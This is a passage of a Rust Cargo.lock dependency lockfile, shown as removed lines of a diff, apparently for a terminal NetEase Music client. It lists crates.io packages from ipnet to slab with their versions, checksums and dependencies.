"b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e" -dependencies = [ - "libc", -] - -[[package]] -name = "ipnet" -version = "2.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f88c5561171189e69df9d98bcf18fd5f9558300f7ea7b801eb8a0fd748bd8745" - -[[package]] -name = "itertools" -version = "0.8.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f56a2d0bc861f9165be4eb3442afd3c236d8a98afd426f65d92324ae1091a484" -dependencies = [ - "either", -] - -[[package]] -name = "itoa" -version = "0.4.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" - -[[package]] -name = "itoa" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4217ad341ebadf8d8e724e264f13e593e0648f5b3e94b3896a5df283be015ecc" - -[[package]] -name = "jni" -version = "0.19.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c6df18c2e3db7e453d3c6ac5b3e9d5182664d28788126d39b91f2d1e22b017ec" -dependencies = [ - "cesu8", - "combine", - "jni-sys", - "log", - "thiserror", - "walkdir", -] - -[[package]] -name = "jni-sys" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" - -[[package]] -name = "jobserver" -version = "0.1.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "068b1ee6743e4d11fb9c6a1e6064b3693a1b600e7f5f5988047d98b3dc9fb90b" -dependencies = [ - "libc", -] - -[[package]] -name = "js-sys" -version = "0.3.60" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49409df3e3bf0856b916e2ceaca09ee28e6871cf7d9ce97a692cacfdb2a25a47" -dependencies = [ - "wasm-bindgen", -] - -[[package]] -name = "kernel32-sys" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" -dependencies = [ - "winapi 0.2.8", - "winapi-build", -] - -[[package]] -name = "lazy_static" -version = "0.2.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76f033c7ad61445c5b347c7382dd1237847eb1bce590fe50365dcb33d546be73" - -[[package]] -name = "lazy_static" -version = "1.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" - -[[package]] -name = "lazycell" -version = "1.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" - -[[package]] -name = "lewton" -version = "0.10.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "777b48df9aaab155475a83a7df3070395ea1ac6902f5cd062b8f2b028075c030" -dependencies = [ - "byteorder", - "ogg", - "tinyvec", -] - -[[package]] -name = "libc" -version = "0.2.137" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc7fcc620a3bff7cdd7a365be3376c97191aeaccc2a603e600951e452615bf89" - -[[package]] -name = "libdbus-sys" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c185b5b7ad900923ef3a8ff594083d4d9b5aea80bb4f32b8342363138c0d456b" -dependencies = [ - "pkg-config", -] - -[[package]] -name = "libloading" -version = "0.7.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" -dependencies = [ - "cfg-if 1.0.0", - "winapi 0.3.9", -] - -[[package]] -name = "link-cplusplus" -version = "1.0.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9272ab7b96c9046fbc5bc56c06c117cb639fe2d509df0c421cad82d2915cf369" -dependencies = [ - "cc", -] - -[[package]] -name = "linked-hash-map" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d262045c5b87c0861b3f004610afd0e2c851e2908d08b6c870cbb9d5f494ecd" -dependencies = [ - "serde 0.8.23", - "serde_test", -] - -[[package]] -name = "linked-hash-map" -version = "0.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" - -[[package]] -name = "lock_api" -version = "0.4.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df" -dependencies = [ - "autocfg", - "scopeguard", -] - -[[package]] -name = "log" -version = "0.4.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" -dependencies = [ - "cfg-if 1.0.0", -] - -[[package]] -name = "log-panics" -version = "2.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68f9dd8546191c1850ecf67d22f5ff00a935b890d0e84713159a55495cc2ac5f" -dependencies = [ - "log", -] - -[[package]] -name = "mach" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b823e83b2affd8f40a9ee8c29dbc56404c1e34cd2710921f2801e2cf29527afa" -dependencies = [ - "libc", -] - -[[package]] -name = "matches" -version = "0.1.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f" - -[[package]] -name = "memchr" -version = "2.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" - -[[package]] -name = "memoffset" -version = "0.6.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" -dependencies = [ - "autocfg", -] - -[[package]] -name = "mime" -version = "0.3.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" - -[[package]] -name = "mime_guess" -version = "2.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef" -dependencies = [ - "mime", - "unicase", -] - -[[package]] -name = "minimal-lexical" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" - -[[package]] -name = "minimp3" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "985438f75febf74c392071a975a29641b420dd84431135a6e6db721de4b74372" -dependencies = [ - "minimp3-sys", - "slice-deque", - "thiserror", -] - -[[package]] -name = "minimp3-sys" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e21c73734c69dc95696c9ed8926a2b393171d98b3f5f5935686a26a487ab9b90" -dependencies = [ - "cc", -] - -[[package]] -name = "miniz_oxide" -version = "0.5.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96590ba8f175222643a85693f33d26e9c8a015f599c216509b1a6894af675d34" -dependencies = [ - "adler", -] - -[[package]] -name = "mio" -version = "0.6.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4" -dependencies = [ - "cfg-if 0.1.10", - "fuchsia-zircon", - "fuchsia-zircon-sys", - "iovec", - "kernel32-sys", - "libc", - "log", - "miow", - "net2", - "slab", - "winapi 0.2.8", -] - -[[package]] -name = "miow" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d" -dependencies = [ - "kernel32-sys", - "net2", - "winapi 0.2.8", - "ws2_32-sys", -] - -[[package]] -name = "mp3-duration" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "348bdc7300502f0801e5b57c448815713cd843b744ef9bda252a2698fdf90a0f" -dependencies = [ - "thiserror", -] - -[[package]] -name = "native-tls" -version = "0.2.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" -dependencies = [ - "lazy_static 1.4.0", - "libc", - "log", - "openssl", - "openssl-probe", - "openssl-sys", - "schannel", - "security-framework", - "security-framework-sys", - "tempfile", -] - -[[package]] -name = "ndk" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4" -dependencies = [ - "bitflags", - "jni-sys", - "ndk-sys", - "num_enum", - "thiserror", -] - -[[package]] -name = "ndk-context" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" - -[[package]] -name = "ndk-glue" -version = "0.6.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d0c4a7b83860226e6b4183edac21851f05d5a51756e97a1144b7f5a6b63e65f" -dependencies = [ - "lazy_static 1.4.0", - "libc", - "log", - "ndk", - "ndk-context", - "ndk-macro", - "ndk-sys", -] - -[[package]] -name = "ndk-macro" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0df7ac00c4672f9d5aece54ee3347520b7e20f158656c7db2e6de01902eb7a6c" -dependencies = [ - "darling", - "proc-macro-crate", - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "ndk-sys" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97" -dependencies = [ - "jni-sys", -] - -[[package]] -name = "net2" -version = "0.2.38" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74d0df99cfcd2530b2e694f6e17e7f37b8e26bb23983ac530c0c97408837c631" -dependencies = [ - "cfg-if 0.1.10", - "libc", - "winapi 0.3.9", -] - -[[package]] -name = "netease_music_tui" -version = "0.1.3" -dependencies = [ - "base64 0.11.0", - "byteorder", - "bytes 0.4.12", - "chrono", - "config", - "cpal", - "dbus", - "dirs", - "failure", - "futures", - "hex", - "lazy_static 1.4.0", - "log", - "log-panics", - "mp3-duration", - "num-bigint", - "openssl", - "rand", - "regex", - "reqwest", - "rodio", - "serde 1.0.147", - "serde_derive", - "serde_json", - "serde_urlencoded 0.6.1", - "simple-logging", - "tempfile", - "termion", - "tokio", - "tui", - "unicode-width", -] - -[[package]] -name = "nix" -version = "0.23.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f866317acbd3a240710c63f065ffb1e4fd466259045ccb504130b7f668f35c6" -dependencies = [ - "bitflags", - "cc", - "cfg-if 1.0.0", - "libc", - "memoffset", -] - -[[package]] -name = "nom" -version = "4.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ad2a91a8e869eeb30b9cb3119ae87773a8f4ae617f41b1eb9c154b2905f7bd6" -dependencies = [ - "memchr", - "version_check 0.1.5", -] - -[[package]] -name = "nom" -version = "7.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8903e5a29a317527874d0402f867152a3d21c908bb0b933e416c65e301d4c36" -dependencies = [ - "memchr", - "minimal-lexical", -] - -[[package]] -name = "num-bigint" -version = "0.2.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "090c7f9998ee0ff65aa5b723e4009f7b217707f1fb5ea551329cc4d6231fb304" -dependencies = [ - "autocfg", - "num-integer", - "num-traits 0.2.15", -] - -[[package]] -name = "num-derive" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "num-integer" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" -dependencies = [ - "autocfg", - "num-traits 0.2.15", -] - -[[package]] -name = "num-traits" -version = "0.1.43" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92e5113e9fd4cc14ded8e499429f396a20f98c772a47cc8622a736e1ec843c31" -dependencies = [ - "num-traits 0.2.15", -] - -[[package]] -name = "num-traits" -version = "0.2.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" -dependencies = [ - "autocfg", -] - -[[package]] -name = "num_cpus" -version = "1.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6058e64324c71e02bc2b150e4f3bc8286db6c83092132ffa3f6b1eab0f9def5" -dependencies = [ - "hermit-abi", - "libc", -] - -[[package]] -name = "num_enum" -version = "0.5.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf5395665662ef45796a4ff5486c5d41d29e0c09640af4c5f17fd94ee2c119c9" -dependencies = [ - "num_enum_derive", -] - -[[package]] -name = "num_enum_derive" -version = "0.5.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b0498641e53dd6ac1a4f22547548caa6864cc4933784319cd1775271c5a46ce" -dependencies = [ - "proc-macro-crate", - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "numtoa" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8f8bdf33df195859076e54ab11ee78a1b208382d3a26ec40d142ffc1ecc49ef" - -[[package]] -name = "object" -version = "0.29.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "21158b2c33aa6d4561f1c0a6ea283ca92bc54802a93b263e910746d679a7eb53" -dependencies = [ - "memchr", -] - -[[package]] -name = "oboe" -version = "0.4.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "27f63c358b4fa0fbcfefd7c8be5cfc39c08ce2389f5325687e7762a48d30a5c1" -dependencies = [ - "jni", - "ndk", - "ndk-context", - "num-derive", - "num-traits 0.2.15", - "oboe-sys", -] - -[[package]] -name = "oboe-sys" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3370abb7372ed744232c12954d920d1a40f1c4686de9e79e800021ef492294bd" -dependencies = [ - "cc", -] - -[[package]] -name = "ogg" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6951b4e8bf21c8193da321bcce9c9dd2e13c858fe078bf9054a288b419ae5d6e" -dependencies = [ - "byteorder", -] - -[[package]] -name = "once_cell" -version = "1.16.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "86f0b0d4bf799edbc74508c1e8bf170ff5f41238e5f8225603ca7caaae2b7860" - -[[package]] -name = "openssl" -version = "0.10.42" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12fc0523e3bd51a692c8850d075d74dc062ccf251c0110668cbd921917118a13" -dependencies = [ - "bitflags", - "cfg-if 1.0.0", - "foreign-types", - "libc", - "once_cell", - "openssl-macros", - "openssl-sys", -] - -[[package]] -name = "openssl-macros" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "openssl-probe" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" - -[[package]] -name = "openssl-sys" -version = "0.9.77" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b03b84c3b2d099b81f0953422b4d4ad58761589d0229b5506356afca05a3670a" -dependencies = [ - "autocfg", - "cc", - "libc", - "pkg-config", - "vcpkg", -] - -[[package]] -name = "parking_lot" -version = "0.11.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" -dependencies = [ - "instant", - "lock_api", - "parking_lot_core", -] - -[[package]] -name = "parking_lot_core" -version = "0.8.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" -dependencies = [ - "cfg-if 1.0.0", - "instant", - "libc", - "redox_syscall 0.2.16", - "smallvec", - "winapi 0.3.9", -] - -[[package]] -name = "peeking_take_while" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099" - -[[package]] -name = "percent-encoding" -version = "2.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "478c572c3d73181ff3c2539045f6eb99e5491218eae919370993b890cdbdd98e" - -[[package]] -name = "pin-project" -version = "1.0.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ad29a609b6bcd67fee905812e544992d216af9d755757c05ed2d0e15a74c6ecc" -dependencies = [ - "pin-project-internal", -] - -[[package]] -name = "pin-project-internal" -version = "1.0.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "069bdb1e05adc7a8990dce9cc75370895fbe4e3d58b9b73bf1aee56359344a55" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "pin-project-lite" -version = "0.1.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "257b64915a082f7811703966789728173279bdebb956b143dbcd23f6f970a777" - -[[package]] -name = "pin-project-lite" -version = "0.2.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" - -[[package]] -name = "pin-utils" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" - -[[package]] -name = "pkg-config" -version = "0.3.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ac9a59f73473f1b8d852421e59e64809f025994837ef743615c6d0c5b305160" - -[[package]] -name = "ppv-lite86" -version = "0.2.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" - -[[package]] -name = "proc-macro-crate" -version = "1.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eda0fc3b0fb7c975631757e14d9049da17374063edb6ebbcbc54d880d4fe94e9" -dependencies = [ - "once_cell", - "thiserror", - "toml 0.5.9", -] - -[[package]] -name = "proc-macro-hack" -version = "0.5.19" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" - -[[package]] -name = "proc-macro2" -version = "1.0.47" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ea3d908b0e36316caf9e9e2c4625cdde190a7e6f440d794667ed17a1855e725" -dependencies = [ - "unicode-ident", -] - -[[package]] -name = "publicsuffix" -version = "1.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b4ce31ff0a27d93c8de1849cf58162283752f065a90d508f1105fa6c9a213f" -dependencies = [ - "idna 0.2.3", - "url", -] - -[[package]] -name = "quote" -version = "1.0.21" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179" -dependencies = [ - "proc-macro2", -] - -[[package]] -name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha", - "rand_core", - "rand_hc", -] - -[[package]] -name = "rand_chacha" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -dependencies = [ - "ppv-lite86", - "rand_core", -] - -[[package]] -name = "rand_core" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -dependencies = [ - "getrandom 0.1.16", -] - -[[package]] -name = "rand_hc" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -dependencies = [ - "rand_core", -] - -[[package]] -name = "redox_syscall" -version = "0.1.57" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce" - -[[package]] -name = "redox_syscall" -version = "0.2.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" -dependencies = [ - "bitflags", -] - -[[package]] -name = "redox_termios" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8440d8acb4fd3d277125b4bd01a6f38aee8d814b3b5fc09b3f2b825d37d3fe8f" -dependencies = [ - "redox_syscall 0.2.16", -] - -[[package]] -name = "redox_users" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" -dependencies = [ - "getrandom 0.2.8", - "redox_syscall 0.2.16", - "thiserror", -] - -[[package]] -name = "regex" -version = "1.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e076559ef8e241f2ae3479e36f97bd5741c0330689e217ad51ce2c76808b868a" -dependencies = [ - "aho-corasick", - "memchr", - "regex-syntax", -] - -[[package]] -name = "regex-syntax" -version = "0.6.28" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "456c603be3e8d448b072f410900c09faf164fbce2d480456f50eea6e25f9c848" - -[[package]] -name = "remove_dir_all" -version = "0.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" -dependencies = [ - "winapi 0.3.9", -] - -[[package]] -name = "reqwest" -version = "0.10.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0718f81a8e14c4dbb3b34cf23dc6aaf9ab8a0dfec160c534b3dbca1aaa21f47c" -dependencies = [ - "async-compression", - "base64 0.13.1", - "bytes 0.5.6", - "cookie", - "cookie_store", - "encoding_rs", - "futures-core", - "futures-util", - "http", - "http-body", - "hyper", - "hyper-tls", - "ipnet", - "js-sys", - "lazy_static 1.4.0", - "log", - "mime", - "mime_guess", - "native-tls", - "percent-encoding", - "pin-project-lite 0.2.9", - "serde 1.0.147", - "serde_urlencoded 0.7.1", - "time 0.2.27", - "tokio", - "tokio-socks", - "tokio-tls", - "url", - "wasm-bindgen", - "wasm-bindgen-futures", - "web-sys", - "winreg", -] - -[[package]] -name = "rodio" -version = "0.15.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0939e9f626e6c6f1989adb6226a039c855ca483053f0ee7c98b90e41cf731e" -dependencies = [ - "claxon", - "cpal", - "hound", - "lewton", - "minimp3", -] - -[[package]] -name = "rust-ini" -version = "0.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3e52c148ef37f8c375d49d5a73aa70713125b7f19095948a923f80afdeb22ec2" - -[[package]] -name = "rustc-demangle" -version = "0.1.21" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ef03e0a2b150c7a90d01faf6254c9c48a41e95fb2a8c2ac1c6f0d2b9aefc342" - -[[package]] -name = "rustc-hash" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" - -[[package]] -name = "rustc_version" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a" -dependencies = [ - "semver", -] - -[[package]] -name = "ryu" -version = "1.0.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09" - -[[package]] -name = "same-file" -version = "1.0.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" -dependencies = [ - "winapi-util", -] - -[[package]] -name = "schannel" -version = "0.1.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2" -dependencies = [ - "lazy_static 1.4.0", - "windows-sys", -] - -[[package]] -name = "scopeguard" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" - -[[package]] -name = "scratch" -version = "1.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c8132065adcfd6e02db789d9285a0deb2f3fcb04002865ab67d5fb103533898" - -[[package]] -name = "security-framework" -version = "2.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bc1bb97804af6631813c55739f771071e0f2ed33ee20b68c86ec505d906356c" -dependencies = [ - "bitflags", - "core-foundation", - "core-foundation-sys", - "libc", - "security-framework-sys", -] - -[[package]] -name = "security-framework-sys" -version = "2.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556" -dependencies = [ - "core-foundation-sys", - "libc", -] - -[[package]] -name = "semver" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403" -dependencies = [ - "semver-parser", -] - -[[package]] -name = "semver-parser" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" - -[[package]] -name = "serde" -version = "0.8.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9dad3f759919b92c3068c696c15c3d17238234498bbdcc80f2c469606f948ac8" - -[[package]] -name = "serde" -version = "1.0.147" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d193d69bae983fc11a79df82342761dfbf28a99fc8d203dca4c3c1b590948965" -dependencies = [ - "serde_derive", -] - -[[package]] -name = "serde-hjson" -version = "0.8.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b833c5ad67d52ced5f5938b2980f32a9c1c5ef047f0b4fb3127e7a423c76153" -dependencies = [ - "lazy_static 0.2.11", - "linked-hash-map 0.3.0", - "num-traits 0.1.43", - "regex", - "serde 0.8.23", -] - -[[package]] -name = "serde_derive" -version = "1.0.147" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f1d362ca8fc9c3e3a7484440752472d68a6caa98f1ab81d99b5dfe517cec852" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - -[[package]] -name = "serde_json" -version = "1.0.88" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e8b3801309262e8184d9687fb697586833e939767aea0dda89f5a8e650e8bd7" -dependencies = [ - "itoa 1.0.4", - "ryu", - "serde 1.0.147", -] - -[[package]] -name = "serde_test" -version = "0.8.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "110b3dbdf8607ec493c22d5d947753282f3bae73c0f56d322af1e8c78e4c23d5" -dependencies = [ - "serde 0.8.23", -] - -[[package]] -name = "serde_urlencoded" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ec5d77e2d4c73717816afac02670d5c4f534ea95ed430442cad02e7a6e32c97" -dependencies = [ - "dtoa", - "itoa 0.4.8", - "serde 1.0.147", - "url", -] - -[[package]] -name = "serde_urlencoded" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" -dependencies = [ - "form_urlencoded", - "itoa 1.0.4", - "ryu", - "serde 1.0.147", -] - -[[package]] -name = "sha1" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1da05c97445caa12d05e848c4a4fcbbea29e748ac28f7e80e9b010392063770" -dependencies = [ - "sha1_smol", -] - -[[package]] -name = "sha1_smol" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae1a47186c03a32177042e55dbc5fd5aee900b8e0069a8d70fba96a9375cd012" - -[[package]] -name = "shlex" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43b2853a4d09f215c24cc5489c992ce46052d359b5109343cbafbf26bc62f8a3" - -[[package]] -name = "simple-logging" -version = "2.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b00d48e85675326bb182a2286ea7c1a0b264333ae10f27a937a72be08628b542" -dependencies = [ - "lazy_static 1.4.0", - "log", - "thread-id", -] - -[[package]] -name = "slab" -version = "0.4.7" -source = 